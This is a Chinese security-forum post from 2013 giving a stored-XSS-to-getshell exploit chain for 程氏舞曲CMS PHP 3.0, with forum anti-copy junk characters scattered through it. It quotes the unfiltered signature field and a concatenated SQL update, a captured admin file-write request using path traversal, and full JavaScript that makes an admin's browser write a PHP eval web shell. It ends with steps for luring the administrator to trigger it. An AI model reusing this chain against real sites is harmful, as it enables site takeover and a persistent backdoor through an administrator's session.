找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2409|回复: 0
打印 上一主题 下一主题

程氏舞曲CMSPHP3.0 储存型xss getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-6 18:09:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题2 n5 M" i% ~  w; e4 r0 k% Y
官网已经修补了,所以重新下了源码& x& ]$ B" S" J5 [; n( e
因为 后台登入 还需要认证码 所以 注入就没看了。8 S0 Y) ^6 q, N1 e9 F7 V  }
存在 xss
! t( x! `. |4 B2 L) T漏洞文件 user/member/skin_edit.php
# P- `) {9 P, }0 o; y7 _  u" w8 `( E本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名:) k3 z! T2 N" q! B
    K8 @, `) K7 G" G2 [' f
</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>7 C9 d3 @- Q$ a' ^4 Q. B
  
; P% e5 ?# D. T# S- y! \</textarea></td></tr>
( |" D1 R4 f7 H2 v, S  " o- b5 Q. h, ~
             user/do.php
( g% Y. ~, F+ e5 l1 O* Z- q* d2 |) k5 A( s, D

3 ^& I8 U& i! N2 S0 ?if($op=='zl'){ //资料( B) K( |' p7 k7 {$ G' T, u
  2 j/ x5 `8 m6 C5 h* y- a
             if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email))
4 X- ^! W: m. l! z) j* L# d" ^             exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));7 `, y2 \+ T2 S" \! v4 F. K
  
; @% N7 v% h' ?' r$ y7 u  k             $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',
7 v- r# M/ V! U0 E, W  
& |& s' w+ w" k) o$ A3 W4 w4 q0 O             CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'% h2 Q. y5 k/ f) C6 K
             where CS_Name='".$cscms_name."'";
+ K. |+ {" d4 F, C( _! L  . r" G+ d' j9 e, M
             if($db->query($sql)){9 A* S6 t' X; B3 G0 v' a& X6 j
  0 u7 Z; M6 ]4 L9 j& x  {9 F
              exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);'));
. \9 W7 }" P& G( H9 n: c/ V, I  2 G: i- j4 f0 R- T
             }else{, k. i! ~5 O, p2 ^
  
/ r  H  x9 ^8 h+ E! {, k              exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);'));
. G! m3 ?. n6 ^# u7 e- g1 }  
2 T! N# c; p" f& ^3 W6 G  e             }) Z- ~0 q$ [0 x: K0 H  U. G

5 d+ @! n. w& i$ q+ y
3 A, H$ F5 [, o6 }$ {没有 过滤导致xss产生。+ N$ o$ w1 W% C  y& P! E
后台 看了下 很奇葩的是可以写任意格式文件。。
( A8 I  s1 a6 W抓包。。
: [% _, u+ D& W0 G7 }, _' \) X% U* r7 r3 B
3 H, @8 }9 O  l
本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1
5 A: ^" r- V# ?+ g* ?  
' W, [3 V% V7 w# DAccept: text/html, application/xhtml+xml, */*5 x& ~, k/ u) m' }: H
  , R1 J* G1 S2 t0 \( |6 z; n5 u! C& [. t* V
Referer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php
, Q' k% d4 Z# a$ w. L+ X: ~, I  
2 w: r  K( B+ m$ eAccept-Language: zh-CN' T% e6 K9 v/ m- r' o* e
  4 [  d0 D$ A. v. V- i
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)0 U- a: |. h! {' T" D7 u$ @
  
: ?0 O) E: R) Z; PContent-Type: application/x-www-form-urlencoded
3 o% b  }! Q/ j$ U. t  
: \0 e0 @8 r" \+ \9 V5 U: M6 ZAccept-Encoding: gzip, deflate  L: C3 c" f; M) L' _
  
) [; {9 [: U& x9 z, O3 f4 wHost: 127.0.0.1- c/ A% [% B0 g) G0 F1 D  K
  
# P1 f0 ]" P2 K' MContent-Length: 38: |7 D4 i+ j( e& K( [
  
+ X6 `" K5 N% `0 _DNT: 1
/ H5 G# c2 S8 \  
, J8 H% P4 Y7 s& iConnection: Keep-Alive
5 @7 F4 o; }, m: u& |! ]  }8 S  
8 Y) r1 B  X/ t5 U+ Y6 SCache-Control: no-cache) G" ?3 A& k, ]: p
  
* x# h0 k8 s9 y: }1 X) I. h( JCookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594; k7 K1 S; v, @/ y6 x0 I- F
  
6 @# S3 V( u! R3 d
$ G0 f  {" w# J2 W6 l, Vname=aaa.php&content=%3Cs%3E%3Ca%25%3E( x- }+ r& M4 |6 T

- ]% a1 H. T( {7 v* p/ c
, Q# r  e2 P0 z7 U4 c! \. `$ V5 [& A' Y6 h
于是 构造js如下。9 m5 }8 N2 w0 Z2 T* `# g

" y5 |4 m- O- ]本帖隐藏的内容<script>
- S* i- n& C% Y4 b9 w( \5 XthisTHost = top.location.hostname;0 v. Q$ ?/ ?- y4 A8 s
  
+ J. V9 T# W, e! }: IthisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";
" k5 X- V$ q3 |2 ]8 W$ m  ( b& o1 @2 b9 ]/ [7 G
function PostSubmit(url, data, msg) { . G; B: d- z( r4 y/ P
    var postUrl = url;
' T& @, }$ V! `+ q" R. _& J; @+ j  
3 a6 d% u& P" O/ Y9 O    var postData = data; - {, }" F' T! Z1 W% e
    var msgData = msg;   d) c: n& V2 G. ^1 I$ m+ ?
    var ExportForm = document.createElement("FORM");
$ g5 b9 i8 ~, `5 o    document.body.appendChild(ExportForm); % M. {2 q7 x9 M  q1 I; K
    ExportForm.method = "POST";
% r. t* R/ V$ d  s8 c4 T9 L# {    var newElement = document.createElement("input"); & W9 h4 ^1 i% _7 @# M
    newElement.setAttribute("name", "name"); 6 C3 J8 u/ |) g
    newElement.setAttribute("type", "hidden"); 4 Z" r4 Z8 M6 l0 {
    var newElement2 = document.createElement("input");
- [. E0 Q8 R- R    newElement2.setAttribute("name", "content"); 0 u/ e/ V6 y) f
    newElement2.setAttribute("type", "hidden"); ) T4 Y. k' F6 a- z4 D2 N8 |  k" a
    ExportForm.appendChild(newElement);
; B% |, C1 Y9 x% j5 N    ExportForm.appendChild(newElement2); % M" [9 @1 i2 u5 i$ g) W( d" [
    newElement.value = postData; % N3 C8 Q' j  c9 |
    newElement2.value = msgData;
" t3 G, D% V: a4 S  Q+ w  r  Q    ExportForm.action = postUrl; . M2 J/ `) ?8 m. c
    ExportForm.submit();
! v  \" ?  c% c. m% t};2 ^6 \( G0 `2 ]( j+ c
  3 \0 O* ~6 C$ K# M: B- i  u
PostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");: q) F* [' D7 P9 f* _
  # Y( I- V) \6 A1 o' h/ b
</script>
6 Z$ _6 U7 A7 J( D/ F" m, m* S; ]; Z) A+ r5 n' g
* f' j- G: O. |

0 y$ D6 h% Y% z1 B0 ihttp://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入+ {- O& G6 C3 s7 @
用你的账号给管理写个 私信 或者让他访问  你的主页http://127.0.0.1/home/?uid=2(uid自己改)- z/ E$ n9 J. x
就会 在 skins\index\html\目录下生成 roker.php 一句话。
5 ^7 m2 F7 U( B1 @- O3 X
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表